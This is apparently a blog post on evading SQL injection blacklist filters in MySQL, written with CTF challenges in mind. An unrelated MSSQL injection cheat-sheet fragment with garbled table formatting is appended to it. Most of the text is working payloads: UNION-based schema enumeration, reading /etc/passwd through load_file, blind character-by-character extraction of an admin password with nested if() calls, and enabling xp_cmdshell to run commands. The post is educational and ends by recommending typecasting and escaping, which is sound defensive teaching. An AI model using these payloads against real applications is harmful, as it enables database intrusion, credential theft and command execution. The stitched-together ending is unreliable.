Exploiting Hard Filtered SQL
Exploiting Hard Filtered SQL
While participating at some CTF challenges like Codegate10 or OWASPEU10 recently I noticed that it is
extremely trendy to build SQL injection challenges with very tough filters which can be circumvented
based on the flexible MySQL syntax. In this post I will show some example filters and how to exploit
them which may also be interesting when exploiting real life SQL injections which seem unexploitable
at first glance.
For the following examples I’ll use this basic vulnerable PHP script:
1 <?php
2 // DB connection
3
4 $id = $_GET['id'];
$pass = mysql_real_escape_string($_GET['pass']);
5
6 $result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND
7 pass = '$pass' ");
8
9 if($data = @mysql_fetch_array($result))
10 echo "Welcome ${data['name']}";
?>
11
Note: the webapplication displays only the name of the first row of the sql resultset.
Warmup
Lets warm up. As you can see the parameter “id” is vulnerable to SQL Injection. The first thing you
might want to do is to confirm the existence of a SQLi vulnerability:
You also might want to see all usernames by iterating through limit (x):
But usernames are mostly not as interesting as passwords and we assume that there is nothing
interesting in each internal user area.
So you would like to know what the table and column names are and you try the following:
?id=1 and 1=0 union select null,table_name,null from
1information_schema.tables limit 28,1-- -
?id=1 and 1=0 union select null,column_name,null from
1information_schema.columns where table_name='foundtablename' LIMIT 0,1-- -
After you have found interesting tables and its column names you can start to extract data.
Advertisement
Of course things aren’t that easy most time. Now consider the following filter for some extra
characters:
1 if(preg_match('/\s/', $id))
2 exit('attack'); // no whitespaces
3 if(preg_match('/[\'"]/', $id))
4 exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
5
exit('attack'); // no slashes
6
As you can see above our injections have a lot of spaces and some quotes. The first idea would be to
replace the spaces by /*comments*/ but slashes are filtered. Alternative whitespaces are all catched
by the whitespace filter. But luckily because of the flexible MySQL syntax we can avoid all whitespaces
by using parenthesis to seperate SQL keywords (old but not seen very often).
?id=(1)and(1)=(0)union(select(null),table_name,
1(null)from(information_schema.tables)limit 28,1-- -)
Looks good, but still has some spaces at the end. So we also
use group_concat() because LIMIT requires a space and therefore can’t be used anymore. Since all
table names in one string can be very long, we can use substr() or mid() to limit the size of the
returning string. As SQL comment we simply take “#” (not urlencoded for better readability).
?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),
1(null)from(information_schema.tables))#
Instead of a quoted string we can use the SQL hex representation of the found table name:
1?id=(1)and(1)=(0)union(select(null),group_concat(column_name),
(null)from(information_schema.columns)where(table_name)=(0x7573657273))#
Nice.
Now consider the filter additionally checks for the keywords “and”, “null”, “where” and “limit”:
1
if(preg_match('/\s/', $id))
2 exit('attack'); // no whitespaces
3 if(preg_match('/[\'"]/', $id))
4 exit('attack'); // no quotes
5 if(preg_match('/[\/\\\\]/', $id))
exit('attack'); // no slashes
6
if(preg_match('/(and|null|where|limit)/i', $id))
7 exit('attack'); // no sqli keywords
8
For some keywords this is still not a big problem. Something most of you would do from the beginning
anyway is to confirm the SQLi with the following injections leading to the same result:
1 ?id=1#
1 ?id=2-1#
To negotiate the previous resultset you can also use a non-existent id like 0. Instead of the place
holder “null” we can select anything else of course because it is only a place holder for the correct
column amount. So without the WHERE we have:
?id=(0)union(select(0),group_concat(table_name),
1(0)from(information_schema.tables))#
?id=(0)union(select(0),group_concat(column_name),
1(0)from(information_schema.columns))#
This should give us all table and column names. But the output string from group_concat() gets very
long for all available table and column names (including the columns of the mysql system tables) and
the length returned by group_concat() is limited to 1024 by default. While the length may fit for all
table names (total system table names length is about 900), it definitely does not fit for all available
column names because all system column names concatenated already take more than 6000 chars.
WHERE alternative
The first idea would be to use ORDER BY column_name DESC to get the user tables first but that
doesn’t work because ORDER BY needs a space. Another keyword we have left is HAVING.
First we have a look which databases are available:
?id=(0)union(select(0),group_concat(schema_name),
1(0)from(information_schema.schemata))#
This will definitely fit into 1024 chars, but you can also use database() to get the current database
name:
1 ?id=(0)union(select(0),database(),(0))#
Lets assume your database name is “test” which hex representation is “0x74657374”. Then we can
use HAVING to get all table names associated with the database “test” without using WHERE:
?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)
1 having((table_schema)like(0x74657374)))#
Note that you have to select the column “table_schema” in one of the place holders to use this column
in HAVING. Since we assume that the webapp is designed to return only the first row of the result set,
this will give us the first table name. The second table name can be retrieved by simply excluding the
first found table name from the result:
?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)
1 having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))#
We use && as alternative for the filtered keyword AND (no urlencoding for better readability). Keep
excluding table names until you have them all. Then you can go on with exactly the same technique to
get all column names:
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)
1having((table_name)like(0x7573657273)))#
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)
1having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))#
Unfortunately you can’t use group_concat() while using HAVING hence the excluding step by step.
intermediate result
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)
1 having((table_name)like(0x7573657273)and(NOT((column_name)like(0x6964)))))#
advanced keyword filtering
Now its getting difficult. The filter also checks for all keywords previously needed:
1 if(preg_match('/\s/', $id))
2 exit('attack'); // no whitespaces
3 if(preg_match('/[\'"]/', $id))
4 exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
5 exit('attack'); // no slashes
6 if(preg_match('/(and|or|null|where|limit)/i', $id))
7 exit('attack'); // no sqli keywords
8 if(preg_match('/(union|select|from|having)/i',
9 $id))
exit('attack'); // no sqli keywords
10
If we have the FILE privilege we can use load_file() (btw you can’t use into outfile without quotes and
spaces). But we can’t output the result of load_file() because we can not use union select so we need
another way to read the string returned by the load_file().
First we want to check if the file can be read. load_file() returns “null” if the file could not be read, but
since the keyword “null” is filtered we cant compare to “null” or use functions like isnull(). A simple
solution is to use coalesce() which returns the first not-null value in the list:
?
1id=(coalesce(length(load_file(0x2F6574632F706173737764)
),1))
This will return the length of the file content or – if the file could not be read – a “1” and therefore the
success can be seen by the userdata selected in the original query. Now we can use the CASE operator
to read the file content blindly char by char:
?id=(case(mid(load_file(0x2F6574632F706173737764),
1$x,1))when($char)then(1)else(0)end)
(while $char is the character in sql hex which is compared to the current character of the file at offset
$x)
filtering everything
Ok now we expand the filter again and it will check for file operations too (or just assume you don’t
have the FILE privilege). We also filter SQL comments. So lets assume the following (rearranged) filter:
1
2 if(preg_match('/\s/', $id))
exit('attack'); // no whitespaces
3
if(preg_match('/[\'"]/', $id))
4 exit('attack'); // no quotes
5 if(preg_match('/[\/\\\\]/', $id))
6 exit('attack'); // no slashes
7 if(preg_match('/(and|or|null|not)/i', $id))
exit('attack'); // no sqli boolean keywords
8 if(preg_match('/(union|select|from|where)/i', $id))
9 exit('attack'); // no sqli select keywords
10 if(preg_match('/(group|order|having|limit)/i',
11 $id))
12 exit('attack'); // no sqli select keywords
if(preg_match('/(into|file|case)/i', $id))
13 exit('attack'); // no sqli operators
14 if(preg_match('/(--|#|\/\*)/', $id))
15 exit('attack'); // no sqli comments
16
The SQL injection is still there but it may look unexploitable. Take a breath and have a look at the
filter. Do we have anything left?
We cant use procedure analyse() because it needs a space and we cant use the ‘1’%’0′ trick. Basically
we only have special characters left, but that is often all we need.
We need to keep in mind that we are already in a SELECT statement and we can add some conditions
to the existing WHERE clause. The only problem with that is that we can only access columns that are
already selected and that we do have to know their names. In our login example they shouldn’t be
hard to guess though. Often they are named the same as the parameter names (as in our example)
and in most cases the password column is one of {password, passwd, pass, pw, userpass}.
So how do we access them blindly? A usual blind SQLi would look like the following:
This will return 1 to the id if the first char of the password is ‘a’. Otherwise it will return a 0 to
the WHERE clause. This works without another SELECT because we dont need to access a different
table. Now the trick is to express this filtered CASE operation with only boolean operators.
While AND and OR is filtered, we can use the characters && and || to check, if the first character of the
pass is ‘a’:
1 ?id=1&&mid(pass,1,1)=(0x61);%00
We use a nullbyte instead of a filtered comment to ignore the check for the right password in the
original sql query. Make sure you prepend a semicolon. Nice, we can now iterate through the password
chars and extract them one by one by comparing them to its hex representation. If it matches, it will
show the username for id=1 and if not the whole WHERE becomes untrue and nothing is displayed.
Also we can iterate to every password of each user by simply iterating through all ids:
1 ?id=2&&mid(pass,1,1)=(0x61);%00
1 ?id=3&&mid(pass,1,1)=(0x61);%00
Of course this takes some time and mostly you are only interested in one specific password, for
example of the user “admin” but you dont know his id. Basically we want something like:
1 ?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00
That does not work because the “OR 1=1” at the beginning is stronger than the “AND”s so that we will
always see the name of the first entry in the table (it gets more clearly wenn you write the “OR 1=1”
at the end of the injection). So what we do is we compare the column id to the column id itself to make
our check for the name and password independent of all id’s:
1 ?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00
If the character of the password is guessed correctly we will see “Hello admin” – otherwise there is
displayed nothing. With this we have successfully bypassed the tough filter.
What else can we filter to make it more challenging? Sure, some characters like “=”, “|” and “&”.
1 if(preg_match('/\s/', $id))
exit('attack'); // no whitespaces
2
if(preg_match('/[\'"]/', $id))
3 exit('attack'); // no quotes
4 if(preg_match('/[\/\\\\]/', $id))
5 exit('attack'); // no slashes
6 if(preg_match('/(and|or|null|not)/i', $id))
exit('attack'); // no sqli boolean keywords
7 if(preg_match('/(union|select|from|where)/i', $id))
8 exit('attack'); // no sqli select keywords
9 if(preg_match('/(group|order|having|limit)/i',
10 $id))
11
12 exit('attack'); // no sqli select keywords
13 if(preg_match('/(into|file|case)/i', $id))
exit('attack'); // no sqli operators
14 if(preg_match('/(--|#|\/\*)/', $id))
15 exit('attack'); // no sqli comments
16 if(preg_match('/(=|&|\|)/', $id))
17 exit('attack'); // no boolean operators
18
Lets see. The character “=” shouldn’t be problematic as already mentioned above, we simply use
“like” or “regexp” etc.:
?
1id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x
61);%00
The character “|” isn’t even needed. But what about the “&”? Can we check for the
name=’admin’ and for the password characters without using logical operators?
After exploring all sorts of functions and comparison operators I finally found the simple function if(). It
basically works like the CASE structure but is a lot shorter and ideal for SQL obfuscation / filter evasion.
The first attempt is to jump to the id which correspondents to the name = ‘admin’:
1 ?id=if((name)like(0x61646D696E),1,0);%00
This will return 1, if the username is admin and 0 otherwise. Now that we actually want to work with
the admin’s id we return his id instead of 1:
1 ?id=if((name)like(0x61646D696E),id,0);%00
Now the tricky part is to not use AND or && but to also check for the password chars. So what we do is
we nest the if clauses. Here is the commented injection:
1 ?id=
2 if(
3 // if (it gets true if the name='admin')
4 if((name)like(0x61646D696E),1,0),
// then (if first password char='a' return admin
5 id, else 0)
6 if(mid((password),1,1)like(0x61),id,0),
7 // else (return 0)
8 0
);%00
9
Again you will see “Hello admin” if the password character was guessed correctly and otherwise you’ll
see nothing (id=0). Sweet!
Conclusion
(My)SQL isn’t as flexible as Javascript, thats for sure. The main difference is that you can’t obfuscate
keywords because there is nothing like eval() (as long as you don’t inject into stored procedures). But
as shown in this article there isn’t much more needed than some characters (mainly parenthesis and
commas) to not only get a working injection but also to extract data or read files. Various techniques
also have shown that detecting and blocking SQL injections based on keywords is not reliable and that
exploiting those is just a matter of time.
If you have any other clever ways for bypassing the filters described above please leave a comment.
What about additionally filtering “if” too ?
Edit:
Because there has been some confusion: you should NOT use the last filter for securing your webapp.
This post shows why it is bad to rely on a blacklist. To secure your webapp properly, typecast expected
integer values and escape expected strings with mysql_real_escape_string(), but don’t forget to embed
the result in quotes in your SQL query.
This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data
to make it easier to read and to use the same table for for each database backend. This helps to highlight any
features which are lacking for each database, and enumeration techniques that don’t apply and also areas that
I haven’t got round to researching yet.
The complete list of SQL Injection Cheat Sheets I’m working is:
I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.
Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end
of the query.
Version SELECT @@version
SELECT 1 — comment
Comments SELECT /*comment*/1
SELECT user_name();
SELECT system_user;
SELECT user;
Current User SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
Password MSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen|drescher can crack
Cracker these.
Current
Database SELECT DB_NAME()
SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for
views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM
master..syscolumns, master..sysobjects WHERE
master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’;
List Tables — list colum names and types for master..sometable
— NB: This example works only for the current database. If you wan’t to search another
db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM
Find Tables sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype
From Column = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column for each
Name column containing the word ‘password’
SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER
Select Nth Row BY name ASC) sq ORDER BY name DESC — gets 9th row
String
Concatenation SELECT ‘A’ + ‘B’ – returns AB
Case Statement SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1
EXEC xp_cmdshell ‘net user’; — privOn MSSQL 2005 you may need to reactivate
xp_cmdshell first as it’s disabled by default:
EXEC sp_configure ‘show advanced options’, 1; — priv
RECONFIGURE; — priv
Command EXEC sp_configure ‘xp_cmdshell’, 1; — priv
Execution RECONFIGURE; — priv
Hostname, IP
Address SELECT HOST_NAME()
northwind
model
msdb
Default/System pubs — not on sql server 2005
Databases tempdb